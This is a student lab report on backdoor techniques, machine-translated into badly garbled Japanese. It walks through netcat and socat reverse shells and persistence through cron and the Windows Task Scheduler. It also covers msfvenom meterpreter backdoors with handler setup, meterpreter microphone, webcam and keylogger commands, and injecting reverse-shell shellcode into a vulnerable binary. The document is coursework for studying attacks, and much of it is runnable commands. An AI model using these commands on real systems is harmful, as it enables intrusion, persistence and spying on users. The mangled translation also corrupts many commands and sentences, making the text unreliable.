2019-2020-2 20175312タオ広元「ネットワーク戦技術」EXP2バックドアの原則と実践
まず、テスト対象
バックドアの概念に精通している1、
2、勝利を達成するために使用netcatを、バックドアの間にLinuxの接続
3、マスターmeterpreterアプリケーション
4、MSF POSTモジュールのアプリケーション理解
5を、勝つために学ぶ、Linuxのバックドアの方法スタートへ
第二に、基本
1、バックドアのコンセプト
ただ、通常の認証プロセスとアクセス・チャネル・システムを経由しません。
2、ホストのバックドア:
(1)コンパイラは、バックドアを残した
オペレーティングシステムのバックドアままに(2)
左後部ドアアプリケーション(3)
バックドアの特定の用途のために専用オペレーティングシステムまたは潜在迷彩(4)。
3、バックドア
(1)netcatを:NC既知又はNCAT、底ツール、
(2)socatに関する:Netcatを++、スーパーnetcatをツール。
(3)Meterpreter:msfvenom生成されたバックドアの実行可能ファイル。
第三に、実験的なコンテンツ
1、シェルを操作するホストを取得netcatを使用して、起動のcron
1.1、WindowsのLinuxのシェルを取得します
ローカルIP 192.168.3.161を参照するには、Windowsでのipconfig使用
オープンリスニングncat.exe -l -p 5312に使用ncat.exeプログラム
接続されたWindows、カリで192.168.3.161 5312 -e /bin.shリバウンドNCAT、使用-eをオプションは、シェルプログラムの実行
ウィンドウがカーリーLinuxのシェルで得られています
1.2、LinuxはWindowsのシェルを取得
IPで使用するIP ADDRビューカーリーは192.168.137.128です
オープンリスニングNC -l -p 5312
Windowsでは、ncat.exe -e cmd.exeの192.168.137.128 5312接続カーリーにリバウンド
カーリー成功したWindowsは、コマンドプロンプト
1.3、NCを用いたデータ転送
5312リスニングポート、Windowsでncat.exe -l 5312
192.168.3.161 5312 NC、Windowsの5312に接続するカーリーリバウンドポート
1.4、1 NCファイルを転送(カーリーからのファイルは、Windowsを通過しました)
Windowsの5312の下のポートをリスニング、そして、ncat.exe -l 5312> file1.outにfile5312.outに受信したデータを保存します
5312 192.168.3.26 NCのWindows 5312に接続するカーリーリバウンドポート、<file1.in
接続が確立され、Windowsがファイルへのカーリーて送信を受け取ることができます。
1.5、シェル、cronの開始を操作するホストを取得するために使用netcatを
cronはLinuxで、時限タスク、毎分ランニングタイム、プリセット命令は、設定ファイルに従って実行されています。
スケジュールされたタスクを追加する-eコマンドをのcrontab、-eは編集を表明しました。それが編集するのは初めてなので、それは3がここで選択され、選択するようにエディタを求められます。
最後の行は、43 * * * * / binに/追加 netcatを192.168.3.161 5312 -e / binに/ shを、 各時間の最初の43分で逆接続ポートのWindows 5312ホストを意味します。
時間が43分に達したときに、以下に示すように、(LSが使用される場合、問題が発生する可能性がコマンド比較的単純WHOAMIコマンドを使用してもよいし、検証することができます)
2は、socatに関する、シェルを操作するタスクを開始する計画をホストを取得します
NCATは、フォーマットの拡張バージョンがあるsocatに関するそれはsocatに関するを使用して、[オプション]
、どのアドレスの二つは必須であり、オプションは任意です。基本的な機能socatに関する2つの双方向バイトストリームデータを作成することであるが、それらの間に送信され、パラメータが新しい方向を表すのアドレスです。いわゆるフローはデータの流れを表し、データは多くの異なるタイプを持つことができ、コマンドが定義され、記述されたデータが流れる対応し、様々なタイプのオプションの数を必要とします。
クリックタスクスケジューラをクリックして管理し、ジョブ名を記入するタスクの作成]をクリックし、トリガーを作成し、時限開始を選択し、コンピュータを右クリックします
アクションをクリックして、プログラムまたはスクリプトファイルのパスにあなたのsocat.exeを選択し、でパラメータフィールドの塗りつぶしTCP-聞くを追加:5312幹部:cmd.exeを、PTY、標準エラー出力は、このコマンドの役割はCMD.EXEを結ぶことですstdoutにリダイレクトstderrにcmd.exeをしながら、ポート5312に与えられました:
あなたが作成した後、タスクが20.42、リフレッシュに到達するために準備ができている、以前に作成したタスクに記載されていますが、すでに実行している始めています。
このとき、入力指示入力カーリーsocatに関する - TCP:192.168.3.161:最初のパラメータは5312、 - 標準入力と出力、Windowsホストポート5312への第二の流れを表現し、この時点で発見することができますが正常にされていますCMDシェルを取得
3、実行可能ファイルを生成するために、MSFのmeterpreter(または他のソフトウェア)を用いて、又はNCATのsocatに関するを使用してホストに転送され、ホストオペレーティングシェルを取得しました
命令制御端IP msfvenom -p窓/ meterpreter / reverse_tcp LHOSTにカリ= 192.168.137.128 lportは= 5312 -f EXE> 20175312_backdoor.exe、IPアドレス、すなわちKaliIPを実行する、可視バックドア「20175312_backdoorを生成しました。 exeファイル "
、Windowsのncat.exe -l 5312> 20175312_backdoor.exe下で実行ので、ファイルモードを受信するホストを入力し被告人という、あなたはまた、現在の接続を確認するために-lvオプションでncat.exe -lv 5312> 20175312_backdoor.exe命令を使用することができます成功したファイル転送図スクリーンショット以下192.168.3.161カリで5312 <20175312_backdoor.exe(IPを制御するIPホスト、すなわちWindowsIP)NC実行状態、
カーリーMSFコンソールに入るにmsfconsole手順を使用してください
入力の使用は、モニタモジュールに配置されたペイロードの使用/マルチ/ハンドラを悪用し
、同じペイロード生成バックドアを使用、SETペイロードのWindows / Meterpreter / reverse_tcpを
セットLHOST 192.168.137.128を、ここKaliIPであり、指定されたIPバックドアを作成します同じ
セットlportは5312、また、同じポートを使用する必要があります
セットアップが完了したら、モニターを実行し、Windows上でバックドアプログラムを実行して、カリのこの時間は、接続されたWindowsホストを獲得し、リモコンのシェルを持っています
4、などのオーディオコンテンツを取得するために、ターゲットホスト、カメラ、キーロガーを生成するために、MSFのmeterpreter(または他のソフトウェア)を使用して、右を入れてみてください
(録画時間を設定するには、-dオプションを使用して)オーディオを傍受することができrecord_mic命令を使用して4.1、
撮影のためにカメラを使用することができるwebcam_snap命令を使用して4.2、
記録されたキーストロークを使用して4.3は、キーストロークを読み取るためにkeyscan_dump記録命令を使用して、命令処理をkeyscan_start。
4.4、命令がスクリーンのスクリーンショットを使用して行うことができます。
4.5、現在の命令を表示しGETUIDユーザーを使用して、右の取扱説明書getsystemを使用して置きます
5.オプション点:MSFを使用すると、シェルコードを生成するが、実際には1 pwn1に取得リバウンド接続シェルを注ぎ
リバース(127.0.0.1:4444/TCP) -のLinux / x86のダウンロードする公式サイトシェル(/ bin / sh)シェルコード(96Bytes) このファイルは
シェルコードは(実験へのステップ3を参照)を注入された
最初のアドレスで、端末を閉じた状態を、入力ランダム化エコー「0」>に/ proc / sysの/カーネル/ randomize_va_space
第一の端子にキャリッジリターンpwn1実行した後に
第二の端末に、PS -ef入る|はgrep pwn1図pwn1プロセスIDの
GDBと追跡格納されたスタック(ESP)アドレスの上位見つけるプロセス
第一の端子に割り込みpwn1ラン
:第二の端子に注入input_shellcodeを
Perlの-e「プリント"A" X 32、プリント「\ XB0 \ XD6 \ XFF \ XFF \ X31 \ XC0 \ X31 \ XDB \ X31 \ xc9 \ X31 \ XD2 \ X66 \ xb8 \ X67 \ X01 \ XB3 \ X02 \ XB1 \ X01 \ XCD \ X80 \ x89 \ XC3 \ xb8 \ X80 \ XFF \ XFF \ XFE \ X83 \ XF0 \ XFF \ X50 \ X66 \ X68 \ x11の\ x5c \ X66 \ X6A \ X02 \ x89 \ XE1 \ XB2 \ X10 \ X31 \ XC0 \ X66 \ xb8 \ X6A \ X01 \ XCD \ X80 \ X85 \ XC0 \ X75 \ X24 \ X31 \ xc9 \ XB1 \ X02 \ X31 \ XC0 \ XB0 \ X3F \ XCD \ X80 \ X49 \ X79 \ xf9 \ X31 \ XC0 \ X50 \ X68 \ x2f \ x2f \ X73 \ X68 \ X68 \ x2f \ X62 \ X69 \ x6e \ x89 \ XE3 \ X31 \ xc9 \ X31 \ XD2 \ XB0 \ X0B \ XCD \ X80 \ XB3 \ X01 \ X31 \ XC0 \ XB0 \ X01 \ XCD \ X80 "「> input_shellcodeは、
第一端子MSFコンソール順次入力で開きます:
ペイロード提供使用を悪用/マルチ/ハンドラ、
セットのペイロードのLinux / x86の/ shell_reverse_tcp
127.0 lhostセットを.0.1、IPセット
ポート設定セットlportは4444には、
ショーのオプションを、表示オプションが
悪用し、セットアップが完了すると、リスニングを開始
シェルコードを実行するために、
第二の入力端子(猫input_shellcode;猫)に| ./pwn1実行pwn1ファイル、第一の端子我々はすでに正常シェルを取得した見ることができます
第四に、問題と解決策
図1は、正常にモニタにできないNCAT、以下に示します
私は、ネットワークアダプタが発見され、機械が行うチェックされていないオリジナルのアダプタであってもよいし、VMの添加後、私は情報を見つけるために学習され、V1 V8と2つのアダプタは、完全にアップグレードすることにより、削除されません/ VMをインストール理由の後、私は完全にVMを再インストールにはNCAT正常に使用することができます
図2に示すように、以下に示すように、ifconfigコマンドを使用することはできません
私は、関連するパッケージもIP addrはなく直接使用することができ、ダウンロードした後、それは正常に使用することができます
3、図に示すように、接続の試みが失敗しました
私はできないのpingカーリーこれは完全にファイアウォールの問題をシャットダウンし、まだオフ将来的に重いセキュリティがセットにVMで取引アダプタの詳細を忘れてしまった後にホストを引き起こし、使用、および最終的には問題またはアダプタを見つけることができないではないと思いました
5つの基本的な質問答え
(1)は、あなたのシステムを入力することも可能な方法を考えることができますバックドアが含まれていますか?
いくつかのアプリケーションをダウンロードするパッシブフィッシングサイトでは、これらの手順は、バックドアを残して、特定の実行可能ファイルを結合することができます。
(2)どのように知っていますか道(勝つとLinux)起動するバックドアで例示?
Windowsの場合:設定ブート、バックドアを持つユーザの実行ファイル。
Linuxの場合:クローンタブ、シェルコードインジェクション。
これはあなたの深遠なイメージ機能を提供します(3)Meterpreterがありますか?
制御シェルバックドアホストを制御することで、さまざまな情報ファイルホスト取得することができ
、システムがバックドアをインストールされていない自分自身を見つけるためにどのように(4)?
ダウンロードして実行するセキュリティソフトウェア、異常なタイミング検知システムかどうか
シックス・実験概要と経験
この実験では、特定の実験操作とあまりない難しさ、仮想マシンと私の問題のホスト間の唯一の接続は、多くの時間を無駄にする重機、重いセキュリティ仮想マシンをVMアンインストールします。
私は、この実験で研究し、バックドアに関連する原則を実践し、関連するタスクが正常に完了直面する様々な問題を解決するために、私が学んだ後、私はもっとうまくできると信じています。